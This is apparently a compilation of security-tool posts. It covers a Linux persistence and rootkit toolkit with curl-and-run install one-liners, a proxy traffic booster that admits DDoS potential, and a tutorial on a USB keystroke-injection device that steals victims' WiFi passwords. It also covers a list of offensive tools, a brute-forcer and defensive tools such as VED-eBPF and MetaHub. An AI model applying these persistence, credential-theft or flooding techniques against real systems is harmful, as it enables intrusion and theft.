D3m0n1z3dShell - Demonized Shell Is An Advanced Tool For Persistence In Linux

Demonized Shell is an Advanced Tool for persistence in linux.

Install

git clone https://github.com/MatheuZSecurity/D3m0n1z3dShell.git
cd D3m0n1z3dShell
chmod +x demonizedshell.sh
sudo ./demonizedshell.sh

One-Liner Install

Download D3m0n1z3dShell with all files:

curl -L https://github.com/MatheuZSecurity/D3m0n1z3dShell/archive/main.tar.gz | tar xz && cd D3m0n1z3dShell-main && sudo ./demonizedshell.sh

Load D3m0n1z3dShell statically (without the static-binaries directory):

sudo curl -s https://raw.githubusercontent.com/MatheuZSecurity/D3m0n1z3dShell/main/static/demonizedshell_static.sh -o /tmp/demonizedshell_static.sh && sudo bash /tmp/demonizedshell_static.sh

Demonized Features

• Auto Generate SSH keypair for all users
• APT Persistence
• Crontab Persistence
• Systemd User level
• Systemd Root Level
• Bashrc Persistence
• Privileged user & SUID bash
• LKM Rootkit Modified, Bypassing rkhunter & chkrootkit
• LKM Rootkit With file encoder. persistent icmp backdoor and others features.
• ICMP Backdoor
• LD_PRELOAD Setup PrivEsc
• Static Binaries For Process Monitoring, Dump credentials, Enumeration, Trolling and Others Binaries.

Pending Features

• LD_PRELOAD Rootkit
• Process Injection
• install for example: curl github.com/test/test/demonized.sh | bash
• Static D3m0n1z3dShell
• Intercept Syscall Write from a file
• ELF/Rootkit Anti-Reversing Technique
• PAM Backdoor
• rc.local Persistence
• init.d Persistence
• motd Persistence
• Persistence via php webshell and aspx webshell

And other types of features that will come in the future.

Contribution

If you want to contribute and help with the tool, please contact me on twitter: @MatheuzSecurity

Note

We are not responsible for any damage caused by this tool, use the tool intelligently and for educational purposes only.

PhantomCrawler - Boost Website Hits By Generating Requests From Multiple Proxy IPs

PhantomCrawler allows users to simulate website interactions through different proxy IP addresses. It leverages Python, requests, and BeautifulSoup to offer a simple and effective way to test website behaviour under varied proxy configurations.

Features:

• Utilizes a list of proxy IP addresses from a specified file.
• Supports both HTTP and HTTPS proxies.
• Allows users to input the target website URL, proxy file path, and a static port.
• Makes HTTP requests to the specified website using each proxy.
• Parses HTML content to extract and visit links on the webpage.

Usage:

• POC Testing: Simulate website interactions to assess functionality under different proxy setups.
• Web Traffic Increase: Boost website hits by generating requests from multiple proxy IPs.
• Proxy Rotation Testing: Evaluate the effectiveness of rotating proxy IPs.
• Web Scraping Testing: Assess web scraping tasks under different proxy configurations.
• DDoS Awareness: Caution: The tool has the potential for misuse as a DDoS tool. Ensure responsible and ethical use.

• You can add it from here: https://free-proxy-list.net/ these free proxies are not validated some might not work so first validate these proxies before adding.

How to Use:

1. Clone the repository:

git clone https://github.com/spyboy-productions/PhantomCrawler.git

3. Install dependencies:

pip3 install -r requirements.txt

5. Run the script:

python3 PhantomCrawler.py

Disclaimer: PhantomCrawler is intended for educational and testing purposes only. Users are cautioned against any misuse, including potential DDoS activities. Always ensure compliance with the terms of service of websites being tested and adhere to ethical standards.

Snapshots:

If you find this GitHub repo useful, please consider giving it a star! 

WiFi-password-stealer - Simple Windows And Linux Keystroke Injection Tool That Exfiltrates Stored WiFi Data (SSID And Password)

Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.

Disclaimer: All content in this project is intended for security research purpose only.

Introduction

During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

Setup

After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

Prerequisites

• Physical access to victim's computer.

• Unlocked victim's computer.

• Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.

• Knowledge of victim's computer password for the Linux exploit.

Requirements - What you'll need

• Raspberry Pi Pico (RPi Pico)
• Micro USB to USB Cable
• Jumper Wire (optional)
• pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
• USB flash drive (for the exploit over physical medium only)

Note:

• It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.

• However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.

• In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.

Keystroke injection tool

Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

Keystroke injection

The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.

Delays

We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

Exfiltration

Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

• Exfiltration over the network medium.

• This approach was used for the Windows exploit. The whole payload can be seen here.

• Exfiltration over a physical medium.

• This approach was used for the Linux exploit. The whole payload can be seen here.

Windows exploit

In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.

Sending stolen data over email

Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.

 Note:

• After sending data over the email, the .txt file is deleted.

• You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.

• Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

Linux exploit

In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.

Storing stolen data to USB flash drive

Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.

In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.

Bash script

In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

where PASSWORD is your account's password and USBSTICK is the name for your USB device.

Quick overview of the payload

NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

For more information about NetworkManager here is some useful links:

• Manually creating NetworkManager profiles in keyfile format
• Description of keyfile settings plugin

Exfiltrated data formatting

Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.

USB Mass Storage Device Problem

One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.

 Tip:

• Upload your payload to RPi Pico before you connect the pins.
• Don't solder the pins because you will probably want to change/update the payload at some point.

Payload Writer

When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.

python3 writer.py windows payload1.dd

Limitations/Drawbacks

• This pico-ducky currently works only on Windows OS.

• This attack requires physical access to an unlocked device in order to be successfully deployed.

• The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.

• Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.

• Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.

• The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.

• Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.

• If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.

• If the computer has a non-English Environment set, this exploit won't be successful.

• Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

To-Do List

• Fix Caps Lock bug.
• Fix non-English Environment bug.
• Obfuscate the command prompt.
• Implement exfiltration over a physical medium.
• Create a payload for Linux.
• Encode/Encrypt exfiltrated data before sending it over email.
• Implement indicator of successfully completed exploit.
• Implement command history clean-up for Linux exploit.
• Enhance the Linux exploit in order to avoid usage of sudo.

Top 20 Most Popular Hacking Tools in 2023

1. PhoneSploit-Pro - An All-In-One Hacking Tool To Remotely Exploit Android Devices Using ADB And Metasploit-Framework To Get A Meterpreter Session





2. Gmailc2 - A Fully Undetectable C2 Server That Communicates Via Google SMTP To Evade Antivirus Protections And Network Traffic Restrictions





3. Faraday - Open Source Vulnerability Management Platform





4. CloakQuest3r - Uncover The True IP Address Of Websites Safeguarded By Cloudflare





5. Killer - Is A Tool Created To Evade AVs And EDRs Or Security Tools





6. Geowifi - Search WiFi Geolocation Data By BSSID And SSID On Different Public Databases





7. Waf-Bypass - Check Your WAF Before An Attacker Does





8. PentestGPT - A GPT-empowered Penetration Testing Tool





9. Sirius - First Truly Open-Source General Purpose Vulnerability Scanner





10. LSMS - Linux Security And Monitoring Scripts





11. GodPotato - Local Privilege Escalation Tool From A Windows Service Accounts To NT AUTHORITY\SYSTEM





12. Bypass-403 - A Simple Script Just Made For Self Use For Bypassing 403





13. ThunderCloud - Cloud Exploit Framework





14. GPT_Vuln-analyzer - Uses ChatGPT API And Python-Nmap Module To Use The GPT3 Model To Create Vulnerability Reports Based On Nmap Scan Data





15. Kscan - Simple Asset Mapping Tool





16. RedTeam-Physical-Tools - Red Team Toolkit - A Curated List Of Tools That Are Commonly Used In The Field For Physical Security, Red Teaming, And Tactical Covert Entry





17. DNSWatch - DNS Traffic Sniffer and Analyzer





18. IpGeo - Tool To Extract IP Addresses From Captured Network Traffic File





19. TelegramRAT - Cross Platform Telegram Based RAT That Communicates Via Telegram To Evade Network Restrictions





20. XSS-Exploitation-Tool - An XSS Exploitation Tool

VED-eBPF - Kernel Exploit And Rootkit Detection Using eBPF

VED (Vault Exploit Defense)-eBPF leverages eBPF (extended Berkeley Packet Filter) to implement runtime kernel security monitoring and exploit detection for Linux systems.

Introduction

eBPF is an in-kernel virtual machine that allows code execution in the kernel without modifying the kernel source itself. eBPF programs can be attached to tracepoints, kprobes, and other kernel events to efficiently analyze execution and collect data.

VED-eBPF uses eBPF to trace security-sensitive kernel behaviors and detect anomalies that could indicate an exploit or rootkit. It provides two main detections:

• wCFI (Control Flow Integrity) traces the kernel call stack to detect control flow hijacking attacks. It works by generating a bitmap of valid call sites and validating each return address matches a known callsite.

• PSD (Privilege Escalation Detection) traces changes to credential structures in the kernel to detect unauthorized privilege escalations.

How it Works

VED-eBPF attaches eBPF programs to kernel functions to trace execution flows and extract security events. The eBPF programs submit these events via perf buffers to userspace for analysis.

wCFI

wCFI traces the call stack by attaching to functions specified on the command line. On each call, it dumps the stack, assigns a stack ID, and validates the return addresses against a precomputed bitmap of valid call sites generated from objdump and /proc/kallsyms.

If an invalid return address is detected, indicating a corrupted stack, it generates a wcfi_stack_event containing:

* Stack trace
* Stack ID
* Invalid return address

This security event is submitted via perf buffers to userspace.

The wCFI eBPF program also tracks changes to the stack pointer and kernel text region to keep validation up-to-date.

PSD

PSD traces credential structure modifications by attaching to functions like commit_creds and prepare_kernel_cred. On each call, it extracts information like:

* Current process credentials
* Hashes of credentials and user namespace
* Call stack

It compares credentials before and after the call to detect unauthorized changes. If an illegal privilege escalation is detected, it generates a psd_event containing the credential fields and submits it via perf buffers.

Prerequsites

VED-eBPF requires:

• Linux kernel v5.17+ (tested on v5.17)
• eBPF support enabled
• BCC toolkit

Current Status

VED-eBPF is currently a proof-of-concept demonstrating the potential for eBPF-based kernel exploit and rootkit detection. Ongoing work includes:

• Expanding attack coverage
• Performance optimization
• Additional kernel versions
• Integration with security analytics

Conclusion

VED-eBPF shows the promise of eBPF for building efficient, low-overhead kernel security monitoring without kernel modification. By leveraging eBPF tracing and perf buffers, critical security events can be extracted in real-time and analyzed to identify emerging kernel threats for cloud native envionrment.

Legba - A Multiprotocol Credentials Bruteforcer / Password Sprayer And Enumerator

Legba is a multiprotocol credentials bruteforcer / password sprayer and enumerator built with Rust and the Tokio asynchronous runtime in order to achieve better performances and stability while consuming less resources than similar tools (see the benchmark below).

For the building instructions, usage and the complete list of options check the project Wiki.

Supported Protocols/Features:

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace), Cassandra/ScyllaDB, DNS subdomain enumeration, FTP, HTTP (basic authentication, NTLMv1, NTLMv2, multipart form, custom requests with CSRF support, files/folders enumeration, virtual host enumeration), IMAP, Kerberos pre-authentication and user enumeration, LDAP, MongoDB, MQTT, Microsoft SQL, MySQL, Oracle, PostgreSQL, POP3, RDP, Redis, SSH / SFTP, SMTP, STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ), TCP port scanning, Telnet, VNC.

Benchmark

Here's a benchmark of legba versus thc-hydra running some common plugins, both targeting the same test servers on localhost. The benchmark has been executed on a macOS laptop with an M1 Max CPU, using a wordlist of 1000 passwords with the correct one being on the last line. Legba was compiled in release mode, Hydra compiled and installed via brew formula.

Far from being an exhaustive benchmark (some legba features are simply not supported by hydra, such as CSRF token grabbing), this table still gives a clear idea of how using an asynchronous runtime can drastically improve performances.

^{* While this result would suggest a default delay between connection attempts used by Hydra. I've tried to study the source code to find such delay but to my knowledge there's none. For some reason it's simply very slow.
** For MySQL hydra automatically reduces the amount of tasks to 4, therefore legba's concurrency level has been adjusted to 4 as well.}

License

Legba is released under the GPL 3 license. To see the licenses of the project dependencies, install cargo license with cargo install cargo-license and then run cargo license.

Metahub - An Automated Contextual Security Findings Enrichment And Impact Evaluation Tool For Vulnerability Management

MetaHub is an automated contextual security findings enrichment and impact evaluation tool for vulnerability management. You can use it with AWS Security Hub or any ASFF-compatible security scanner. Stop relying on useless severities and switch to impact scoring definitions based on YOUR context.

MetaHub is an open-source security tool for impact-contextual vulnerability management. It can automate the process of contextualizing security findings based on your environment and your needs: YOUR context, identifying ownership, and calculate an impact scoring based on it that you can use for defining prioritization and automation. You can use it with AWS Security Hub or any ASFF security scanners (like Prowler).

MetaHub describe your context by connecting to your affected resources in your affected accounts. It can describe information about your AWS account and organization, the affected resources tags, the affected CloudTrail events, your affected resource configurations, and all their associations: if you are contextualizing a security finding affecting an EC2 Instance, MetaHub will not only connect to that instance itself but also its IAM Roles; from there, it will connect to the IAM Policies associated with those roles. It will connect to the Security Groups and analyze all their rules, the VPC and the Subnets where the instance is running, the Volumes, the Auto Scaling Groups, and more.

After fetching all the information from your context, MetaHub will evaluate certain important conditions for all your resources: exposure, access, encryption, status, environment and application. Based on those calculations and in addition to the information from the security findings affecting the resource all together, MetaHub will generate a Scoring for each finding.

Check the following dashboard generated by MetaHub. You have the affected resources, grouping all the security findings affecting them together and the original severity of the finding. After that, you have the Impact Score and all the criteria MetaHub evaluated to generate that score. All this information is filterable, sortable, groupable, downloadable, and customizable.

You can rely on this Impact Score for prioritizing findings (where should you start?), directing attention to critical issues, and automating alerts and escalations.

MetaHub can also filter, deduplicate, group, report, suppress, or update your security findings in automated workflows. It is designed for use as a CLI tool or within automated workflows, such as AWS Security Hub custom actions or AWS Lambda functions.

The following is the JSON output for a an EC2 instance; see how MetaHub organizes all the information about its context together, under associations, config, tags, account cloudtrail, and impact

Context

In MetaHub, context refers to information about the affected resources like their configuration, associations, logs, tags, account, and more.

MetaHub doesn't stop at the affected resource but analyzes any associated or attached resources. For instance, if there is a security finding on an EC2 instance, MetaHub will not only analyze the instance but also the security groups attached to it, including their rules. MetaHub will examine the IAM roles that the affected resource is using and the policies attached to those roles for any issues. It will analyze the EBS attached to the instance and determine if they are encrypted. It will also analyze the Auto Scaling Groups that the instance is associated with and how. MetaHub will also analyze the VPC, Subnets, and other resources associated with the instance.

The Context module has the capability to retrieve information from the affected resources, affected accounts, and every associated resources. The context module has five main parts: config (which includes associations as well), tags, cloudtrail, and account. By default config and tags are enabled, but you can change this behavior using the option --context (for enabling all the context modules you can use --context config tags cloudtrail account). The output of each enabled key will be added under the affected resource.

Config

Under the config key, you can find anyting related to the configuration of the affected resource. For example, if the affected resource is an EC2 Instance, you will see keys like private_ip, public_ip, or instance_profile.

You can filter your findings based on Config outputs using the option: --mh-filters-config <key> {True/False}. See Config Filtering.

Associations

Under the associations key, you will find all the associated resources of the affected resource. For example, if the affected resource is an EC2 Instance, you will find resources like: Security Groups, IAM Roles, Volumes, VPC, Subnets, Auto Scaling Groups, etc. Each time MetaHub finds an association, it will connect to the associated resource again and fetch its own context.

Associations are key to understanding the context and impact of your security findings as their exposure.

You can filter your findings based on Associations outputs using the option: --mh-filters-config <key> {True/False}. See Config Filtering.

Tags

MetaHub relies on AWS Resource Groups Tagging API to query the tags associated with your resources.

Note that not all AWS resource type supports this API. You can check supported services.

Tags are a crucial part of understanding your context. Tagging strategies often include:

• Environment (like Production, Staging, Development, etc.)
• Data classification (like Confidential, Restricted, etc.)
• Owner (like a team, a squad, a business unit, etc.)
• Compliance (like PCI, SOX, etc.)

If you follow a proper tagging strategy, you can filter and generate interesting outputs. For example, you could list all findings related to a specific team and provide that data directly to that team.

You can filter your findings based on Tags outputs using the option: --mh-filters-tags TAG=VALUE. See Tags Filtering

CloudTrail

Under the key cloudtrail, you will find critical Cloudtrail events related to the affected resource, such as creating events.

The Cloudtrail events that we look for are defined by resource type, and you can add, remove or change them by editing the configuration file resources.py.

For example for an affected resource of type Security Group, MetaHub will look for the following events:

• CreateSecurityGroup: Security Group Creation event
• AuthorizeSecurityGroupIngress: Security Group Rule Authorization event.

Account

Under the key account, you will find information about the account where the affected resource is runnning, like if it's part of an AWS Organizations, information about their contacts, etc.

Ownership

MetaHub also focuses on ownership detection. It can determine the owner of the affected resource in various ways. This information can be used to automatically assign a security finding to the correct owner, escalate it, or make decisions based on this information.

An automated way to determine the owner of a resource is critical for security teams. It allows them to focus on the most critical issues and escalate them to the right people in automated workflows. But automating workflows this way, it is only viable if you have a reliable way to define the impact of a finding, which is why MetaHub also focuses on impact.

Impact

The impact module in MetaHub focuses on generating a score for each finding based on the context of the affected resource and all the security findings affecting them. For the context, we define a series of evaluated criteria; you can add, remove, or modify these criteria based on your needs. The Impact criteria are combined with a metric generated based on all the Security Findings affecting the affected resource and their severities.

The following are the impact criteria that MetaHub evaluates by default:

Exposure

Exposure evaluates the how the the affected resource is exposed to other networks. For example, if the affected resource is public, if it is part of a VPC, if it has a public IP or if it is protected by a firewall or a security group.

Access

Access evaluates the resource policy layer. MetaHub checks every available policy including: IAM Managed policies, IAM Inline policies, Resource Policies, Bucket ACLS, and any association to other resources like IAM Roles which its policies are also analyzed . An unrestricted policy is not only an itsue itself of that policy, it afected any other resource which is using it.

Encryption

Encryption evaluate the different encryption layers based on each resource type. For example, for some resources it evaluates if at_rest and in_transit encryption configuration are both enabled.

Status

Status evaluate the status of the affected resource in terms of attachment or functioning. For example, for an EC2 Instance we evaluate if the resource is running, stopped, or terminated, but for resources like EBS Volumes and Security Groups, we evaluate if those resources are attached to any other resource.

Environment

Environment evaluates the environment where the affected resource is running. By default, MetaHub defines 3 environments: production, staging, and development, but you can add, remove, or modify these environments based on your needs. MetaHub evaluates the environment based on the tags of the affected resource, the account id or the account alias. You can define your own environemnts definitions and strategy in the configuration file (See Customizing Configuration).

Application

Application evaluates the application that the affected resource is part of. MetaHub relies on the AWS myApplications feature, which relies on the Tag awsApplication, but you can extend this functionality based on your context for example by defining other tags you use for defining applications or services (like Service or any other), or by relying on account id or alias. You can define your application definitions and strategy in the configuration file (See Customizing Configuration).

Findings Soring

As part of the impact score calculation, we also evaluate the total ammount of security findings and their severities affecting the resource. We use the following formula to calculate this metric:

(SUM of all (Finding Severity / Highest Severity) with a maximum of 1)

For example, if the affected resource has two findings affecting it, one with HIGH and another with LOW severity, the Impact Findings Score will be:

SUM(HIGH (3) / CRITICAL (4) + LOW (0.5) / CRITICAL (4)) = 0.875

Architecture

MetaHub reads your security findings from AWS Security Hub or any ASFF-compatible security scanner. It then queries the affected resources directly in the affected account to provide additional context. Based on that context, it calculates it's impact. Finally, it generates different outputs based on your needs.

Use Cases

Some use cases for MetaHub include:

• MetaHub integration with Prowler as a local scanner for context enrichment
• Automating Security Hub findings suppression based on Tagging
• Integrate MetaHub directly as Security Hub custom action to use it directly from the AWS Console
• Created enriched HTML reports for your findings that you can filter, sort, group, and download
• Create Security Hub Insights based on MetaHub context

Features

MetaHub provides a range of ways to list and manage security findings for investigation, suppression, updating, and integration with other tools or alerting systems. To avoid Shadowing and Duplication, MetaHub organizes related findings together when they pertain to the same resource. For more information, refer to Findings Aggregation

MetaHub queries the affected resources directly in the affected account to provide additional context using the following options:

• Config: Fetches the most important configuration values from the affected resource.
• Associations: Fetches all the associations of the affected resource, such as IAM roles, security groups, and more.
• Tags: Queries tagging from affected resources
• CloudTrail: Queries CloudTrail in the affected account to identify who created the resource and when, as well as any other related critical events
• Account: Fetches extra information from the account where the affected resource is running, such as the account name, security contacts, and other information.

MetaHub supports filters on top of these context* outputs to automate the detection of other resources with the same issues. You can filter security findings affecting resources tagged in a certain way (e.g., Environment=production) and combine this with filters based on Config or Associations, like, for example, if the resource is public, if it is encrypted, only if they are part of a VPC, if they are using a specific IAM role, and more. For more information, refer to Config filters and Tags filters for more information.

But that's not all. If you are using MetaHub with Security Hub, you can even combine the previous filters with the Security Hub native filters (AWS Security Hub filtering). You can filter the same way you would with the AWS CLI utility using the option --sh-filters, but in addition, you can save and re-use your filters as YAML files using the option --sh-template.

If you prefer, With MetaHub, you can back enrich your findings directly in AWS Security Hub using the option --enrich-findings. This action will update your AWS Security Hub findings using the field UserDefinedFields. You can then create filters or Insights directly in AWS Security Hub and take advantage of the contextualization added by MetaHub.

When investigating findings, you may need to update security findings altogether. MetaHub also allows you to execute bulk updates to AWS Security Hub findings, such as changing Workflow Status using the option --update-findings. As an example, you identified that you have hundreds of security findings about public resources. Still, based on the MetaHub context, you know those resources are not effectively public as they are protected by routing and firewalls. You can update all the findings for the output of your MetaHub query with one command. When updating findings using MetaHub, you also update the field Note of your finding with a custom text for future reference.

MetaHub supports different Output Modes, some of them json based like json-inventory, json-statistics, json-short, json-full, but also powerfull html, xlsx and csv. These outputs are customizable; you can choose which columns to show. For example, you may need a report about your affected resources, adding the tag Owner, Service, and Environment and nothing else. Check the configuration file and define the columns you need.

MetaHub supports multi-account setups. You can run the tool from any environment by assuming roles in your AWS Security Hub master account and your child/service accounts where your resources live. This allows you to fetch aggregated data from multiple accounts using your AWS Security Hub multi-account implementation while also fetching and enriching those findings with data from the accounts where your affected resources live based on your needs. Refer to Configuring Security Hub for more information.

Customizing Configuration

MetaHub uses configuration files that let you customize some checks behaviors, default filters, and more. The configuration files are located in lib/config/.

Things you can customize:

• lib/config/configuration.py: This file contains the default configuration for MetaHub. You can change the default filters, the default output modes, the environment definitions, and more.

• lib/config/impact.py: This file contains the values and it's weights for the impact formula criteria. You can modify the values and the weights based on your needs.

• lib/config/reources.py: This file contains definitions for every resource type, like which CloudTrail events to look for.

Run with Python

MetaHub is a Python3 program. You need to have Python3 installed in your system and the required Python modules described in the file requirements.txt.

Requirements can be installed in your system manually (using pip3) or using a Python virtual environment (suggested method).

Run it using Python Virtual Environment

1. Clone the repository: git clone git@github.com:gabrielsoltz/metahub.git
2. Change to repostiory dir: cd metahub
3. Create a virtual environment for this project: python3 -m venv venv/metahub
4. Activate the virtual environment you just created: source venv/metahub/bin/activate
5. Install Metahub requirements: pip3 install -r requirements.txt
6. Run: ./metahub -h
7. Deactivate your virtual environment after you finish with: deactivate

Next time, you only need steps 4 and 6 to use the program.

Alternatively, you can run this tool using Docker.

Run with Docker

MetaHub is also available as a Docker image. You can run it directly from the public Docker image or build it locally.

The available tagging for MetaHub containers are the following:

• latest: in sync with master branch
• <x.y.z>: you can find the releases here
• stable: this tag always points to the latest release.

For running from the public registry, you can run the following command:

docker run -ti public.ecr.aws/n2p8q5p4/metahub:latest ./metahub -h

AWS credentials and Docker

If you are already logged into the AWS host machine, you can seamlessly use the same credentials within a Docker container. You can achieve this by either passing the necessary environment variables to the container or by mounting the credentials file.

For instance, you can run the following command:

docker run -e AWS_DEFAULT_REGION -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN -ti public.ecr.aws/n2p8q5p4/metahub:latest ./metahub -h

On the other hand, if you are not logged in on the host machine, you will need to log in again from within the container itself.

Build and Run Docker locally

Or you can also build it locally:

git clone git@github.com:gabrielsoltz/metahub.git
cd metahub
docker build -t metahub .
docker run -ti metahub ./metahub -h

Run with Lambda

MetaHub is Lambda/Serverless ready! You can run MetaHub directly on an AWS Lambda function without any additional infrastructure required.

Running MetaHub in a Lambda function allows you to automate its execution based on your defined triggers.

Terraform code is provided for deploying the Lambda function and all its dependencies.

Lambda use-cases

• Trigger the MetaHub Lambda function each time there is a new security finding to enrich that finding back in AWS Security Hub.
• Trigger the MetaHub Lambda function each time there is a new security finding for suppression based on Context.
• Trigger the MetaHub Lambda function to identify the affected owner of a security finding based on Context and assign it using your internal systems.
• Trigger the MetaHub Lambda function to create a ticket with enriched context.

Deploying Lambda

The terraform code for deploying the Lambda function is provided under the terraform/ folder.

Just run the following commands:

cd terraform
terraform init
terraform apply

The code will create a zip file for the lambda code and a zip file for the Python dependencies. It will also create a Lambda function and all the required resources.

Customize Lambda behaviour

You can customize MetaHub options for your lambda by editing the file lib/lambda.py. You can change the default options for MetaHub, such as the filters, the Meta* options, and more.

Lambda Permissions

Terraform will create the minimum required permissions for the Lambda function to run locally (in the same account). If you want your Lambda to assume a role in other accounts (for example, you will need this if you are executing the Lambda in the Security Hub master account that is aggregating findings from other accounts), you will need to specify the role to assume, adding the option --mh-assume-role in the Lambda function configuration (See previous step) and adding the corresponding policy to allow the Lambda to assume that role in the lambda role.

Run with Security Hub Custom Action

MetaHub can be run as a Security Hub Custom Action. This allows you to run MetaHub directly from the Security Hub console for a selected finding or for a selected set of findings.

The custom action will then trigger a Lambda function that will run MetaHub for the selected findings. By default, the Lambda function will run MetaHub with the option --enrich-findings, which means that it will update your finding back with MetaHub outputs. If you want to change this, see Customize Lambda behavior

You need first to create the Lambda function and then create the custom action in Security Hub.

For creating the lambda function, follow the instructions in the Run with Lambda section.

For creating the AWS Security Hub custom action:

1. In Security Hub, choose Settings and then choose Custom Actions.
2. Choose Create custom action.
3. Provide a Name, Description, and Custom action ID for the action.
4. Choose Create custom action. (Make a note of the Custom action ARN. You need to use the ARN when you create a rule to associate with this action in EventBridge.)
5. In EventBridge, choose Rules and then choose Create rule.
6. Enter a name and description for the rule.
7. For the Event bus, choose the event bus that you want to associate with this rule. If you want this rule to match events that come from your account, select default. When an AWS service in your account emits an event, it always goes to your account's default event bus.
8. For Rule type, choose a rule with an event pattern and then press Next.
9. For Event source, choose AWS events.
10. For the Creation method, choose Use pattern form.
11. For Event source, choose AWS services.
12. For AWS service, choose Security Hub.
13. For Event type, choose Security Hub Findings - Custom Action.
14. Choose Specific custom action ARNs and add a custom action ARN.
15. Choose Next.
16. Under Select targets, choose the Lambda function
17. Select the Lambda function you created for MetaHub.

AWS Authentication

• Ensure you have AWS credentials set up on your local machine (or from where you will run MetaHub).

For example, you can use aws configure option.

aws configure

Or you can export your credentials to the environment.

export AWS_DEFAULT_REGION="us-east-1"
export AWS_ACCESS_KEY_ID= "ASXXXXXXX"
export AWS_SECRET_ACCESS_KEY= "XXXXXXXXX"
export AWS_SESSION_TOKEN= "XXXXXXXXX"

Configuring Security Hub

• If you are running MetaHub for a single AWS account setup (AWS Security Hub is not aggregating findings from different accounts), you don't need to use any additional options; MetaHub will use the credentials in your environment. Still, if your IAM design requires it, it is possible to log in and assume a role in the same account you are logged in. Just use the options --sh-assume-role to specify the role and --sh-account with the same AWS Account ID where you are logged in.

• --sh-region: The AWS Region where Security Hub is running. If you don't specify a region, it will use the one configured in your environment. If you are using AWS Security Hub Cross-Region aggregation, you should use that region as the --sh-region option so that you can fetch all findings together.

• --sh-account and --sh-assume-role: The AWS Account ID where Security Hub is running and the AWS IAM role to assume in that account. These options are helpful when you are logged in to a different AWS Account than the one where AWS Security Hub is running or when running AWS Security Hub in a multiple AWS Account setup. Both options must be used together. The role provided needs to have enough policies to get and update findings in AWS Security Hub (if needed). If you don't specify a --sh-account, MetaHub will assume the one you are logged in.

